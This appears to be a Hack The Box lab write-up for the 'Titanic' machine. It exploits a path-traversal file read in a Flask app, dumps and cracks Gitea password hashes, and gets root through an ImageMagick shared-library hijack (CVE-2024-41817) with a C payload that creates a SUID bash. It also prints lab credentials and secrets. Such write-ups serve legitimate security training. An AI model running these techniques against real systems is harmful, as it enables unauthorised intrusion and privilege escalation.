Titanic - HTB Machine
Titanic
is a Hack The Box machine released on 15 Feb 2025
Summary (How?)
Titanic is a web application with a Local File Inclusion (LFI) vulnerability, which allowed me to enumerate sensitive files, including the /etc/hosts
file that revealed a secondary host dev.titanic.htb
. This led to a Gitea instance where I found configuration files exposing the path to Gitea’s database. Using the LFI vulnerability, I downloaded the database, extracted password hashes for the developer
user, and cracked them to gain SSH access to the machine as developer
.
For privilege escalation, I identified a script in /opt/scripts/
that used ImageMagick to process images with root privileges. Exploiting CVE-2024-41817, I created a malicious libxcb.so.1
library, which was loaded by ImageMagick to execute arbitrary code. This allowed me to create a SUID bash binary, granting root access and enabling me to read the root.txt
flag.
Enumeration
nmap
As expected, there’s a webserver running in titanic.htb
└─$ cat nmap-sC-sV
# Nmap 7.95 scan initiated Sun May 4 00:18:10 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -oN nmap-sC-sV -Pn titanic.htb
Nmap scan report for titanic.htb (10.10.11.55)
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Titanic - Book Your Ship Trip
| http-server-header:
| Apache/2.4.52 (Ubuntu)
|_ Werkzeug/3.0.3 Python/3.10.12
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial page and LFI
The initial page is the following
When clicking in “Book Now” we get a form (this is the only functionality I could find)
Once submitted this triggers the following requests and responses
And then
What would happen if we modify the ticket parameter? Maybe some LFI?
YES! Always try LFI when there are files retrieved.
System and app enumeration
There are two users with /bin/bash
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/
Here I started to check several known files
- apache configuration files
- .bashrc
- ssh files (couldn’t find any)
Eventually I decided to run ffuf
with this list to find interesting files.
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://titanic.htb/download?ticket=FUZZ' -fw 33 -fs 0
cut -d' ' -f1 available-paths-pre > available-paths
Here the /etc/hosts
was the file that did the breakthrough showing us the dev.titanic.htb
host.
Gitea!
Once we add dev.titanic.htb
to our host we managed to access the main page, which is as gitea instance. Gitea is a lightweight, self-hosted Git service for managing repositories, similar to GitHub. It’s written in Go.
The first thing is to register, then we can see some interesting repos.
docker-config
: Docker compose file for both the gitea and the mysql services.flask-app
: The vulnerable web application
Let’s find some credentials..
In the project docker-config
we found the credentials for the mysql database. Anyway, we cannot access right now as it’s listening in localhost.
version: '3.8'
services:
mysql:
image: mysql:8.0
container_name: mysql
ports:
- "127.0.0.1:3306:3306"
environment:
MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
MYSQL_DATABASE: tickets
MYSQL_USER: sql_svc
MYSQL_PASSWORD: sql_password
restart: always
Now let’s look at the code in flask-app
to understand where the LFI vulnerability is.
@app.route('/book', methods=['POST'])
def book_ticket():
data = {
"name": request.form['name'],
"email": request.form['email'],
"phone": request.form['phone'],
"date": request.form['date'],
"cabin": request.form['cabin']
}
ticket_id = str(uuid4())
json_filename = f"{ticket_id}.json"
json_filepath = os.path.join(TICKETS_DIR, json_filename)
with open(json_filepath, 'w') as json_file:
json.dump(data, json_file)
return redirect(url_for('download_ticket', ticket=json_filename))
@app.route('/download', methods=['GET'])
def download_ticket():
ticket = request.args.get('ticket')
if not ticket:
return jsonify({"error": "Ticket parameter is required"}), 400
json_filepath = os.path.join(TICKETS_DIR, ticket)
if os.path.exists(json_filepath):
return send_file(json_filepath, as_attachment=True, download_name=ticket)
else:
return jsonify({"error": "Ticket not found"}), 404
The problem is crystal clear: there is no input sanitization for the ticket
parameter which is directly appended to the TICKETS_DIR
path when retrieving the json
file of the ticket.
ticket = request.args.get('ticket')
json_filepath = os.path.join(TICKETS_DIR, ticket)
The following users are registered in Gitea. The thing to observe here is that there is a developer
user both in Gitea and in the instance, and maybe they have the same password.
Looking back in in the docker-config
repo we find the directory where gitea’s data is: /home/developer/gitea/data
.
services:
gitea:
image: gitea/gitea
[...]
volumes:
- /home/developer/gitea/data:/data # Replace with your path
This is very interesting and our next goal will be to dump gitea’s database in order to find password hashes.
Dumping Gitea’s database - RCE
The optimal path here would have been to start a docker container locally in our attack host using the same gitea image as the one used in the docker compose file. And then browse where is the gitea .db
file located. This wasn’t my initial approach and I lost a lot of time reading documentation.
In my defense it was a bit confusing the mysql service, I was expecting for gitea to use that instead of having a local .db
file.
In this research the first interesting file I dumped was app.ini
, there is a lot of juicy information from a pentester perspective here and that’s why I included it, but still no credentials to access the instance.
[server]
LFS_JWT_SECRET = OqnUg-uJVK-l7rMN1oaR6oTF348gyr0QtkJt-JpjSO4
[security]
INSTALL_LOCK = true
SECRET_KEY =
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8
PASSWORD_HASH_ALGO = pbkdf2
[oauth2]
JWT_SECRET = FIAOKLQX4SBzvZ9eZnHYLTCiVGoBtkE4y5B7vMjzz3g
Eventually, we managed to drop the database with a GET request to
http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db
We connect locally and find what we where looking for.
└─$ sqlite3 _home_developer_gitea_data_gitea_gitea.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> SELECT name, passwd FROM user;
administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
Let’s crack them and for sure get access…
❯ cat hashes ─╯
sha256:50000:70a5bd0c1a5d23caa49030172cdcabdc:cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136
sha256:50000:0ce6f07fc9b557bc070fa7bef76a0d15:e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
❯ hashcat -m 10900 hashes /usr/share/wordlists/rockyou.txt
Session..........: hashcat
Status...........: **Exhausted**
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: hashes
Time.Started.....: Thu May 8 00:13:54 2025 (7 mins, 10 secs)
Time.Estimated...: Thu May 8 00:21:04 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 66811 H/s (0.18ms) @ Accel:128 Loops:32 Thr:64 Vec:1
Recovered........: 0/2 (0.00%) Digests (total), 0/2 (0.00%) Digests (new), 0/2 (0.00%) Salts
Progress.........: 28688768/28688768 (100.00%)
Rejected.........: 0/28688768 (0.00%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:49984-49999
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[237970336734] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Temp: 71c Fan: 80% Util: 85% Core:1920MHz Mem:9751MHz Bus:8
(wait, this is not the end, I was just doing it wrong here)
Another deadend… Here I tried using the tokens from app.ini
to get access as administrator to the Gitea app, not a good option.
┌──(kali㉿kali)-[~/htb-machines/titanic]
└─$ curl -s http://dev.titanic.htb/api/v1/admin/users \
-H "Authorization: token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MjI1OTUzMzR9.X4rYDGhkWTZKFfnjgES5r2rFRpu_GXTdQ65456XC0X8" \
-H "Accept: application/json"
{"message":"user does not exist [uid: 0, name: ]","url":"http://gitea.titanic.htb/api/swagger"}
Here I took a break.
It turns out I have made another mistake: the hash type was wrong. I used ChatGPT to create them instead of researching myself, and it didn’t work. Luckily I came across this post from 0xdf on how to crack gitea’s hashes, and it worked. A lot to learn.
❯ hashcat -m 10900 hashes /usr/share/wordlists/rockyou.txt --user
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: hashes
Time.Started.....: Fri May 9 14:42:06 2025 (3 mins, 44 secs)
Time.Estimated...: Fri May 9 14:45:50 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 66949 H/s (1.09ms) @ Accel:32 Loops:64 Thr:256 Vec:1
Recovered........: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new), 1/2 (50.00%) Salts
Progress.........: 28688768/28688768 (100.00%)
Rejected.........: 0/28688768 (0.00%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:49984-49999
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[2e376368696c65372e] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Temp: 70c Fan: 77% Util: 97% Core:1740MHz Mem:9751MHz Bus:8
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=:25282528
developer:25282528
└─$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)
developer@titanic:~$ whoami
developer
developer@titanic:~$ cat user.txt
0e97a74aee8fd9fb63
Shared-library hijacking - Root access
Developer does not have permission to run sudo on any file.
There is an interesting folder in /opt
developer@titanic:/$ ls /opt/
app containerd scripts
Scripts contains only a identify_images.sh
script with these three lines
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
This works by clearing the file metadata.log
located in /opt/app/static/assets/images
and then finds all .jpg
files under /opt/app/static/assets/images/
and runs identify
from ImageMagick on each, appending the output (image metadata) to metadata.log
.
Two interesting facts are that :
developer
has write acces on/opt/app/static/assets/images
metadata.log
is owned byroot
, meaning that this is executing with high privileges. And it is generated every minute, which implies a cron running it.
developer@titanic:/opt/app/static/assets/images$ ls -l metadata.log
-rw-r----- 1 root developer 442 Jun 19 19:04 metadata.log
Finally, the version of ImageMagick
being used is the 7.1.1–35
. Maybe there’s a CVE associated with it?
CVE-2024-41817 - ImageMagick Arbitrary Code Execution Vulnerability
Checking ImageMagick’s version (7.1.1-35) revealed vulnerability CVE-2024-41817, which allows shared library hijacking. The vulnerability exploits ImageMagick’s insecure library loading mechanism, allowing placement of a malicious .so file (libxcb.so.1) in the writable images directory. When the script executes as root, ImageMagick loads the rogue shared library, executing arbitrary commands as root.
The exploit that worked for me involved writing a custom library libxcb.so.1
to the path /opt/app/static/assets/images
, where magick
would run as root, load this library and get us code execution as root.
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash");
exit(0);
}
EOF
This code creates a SUID bash executable in /tmp/rootbash
After a minute our rootbash
pops out.
developer@titanic:~$ /tmp/rootbash -p
rootbash-5.0# cat /root/root.txt
50a5986b897256e3fb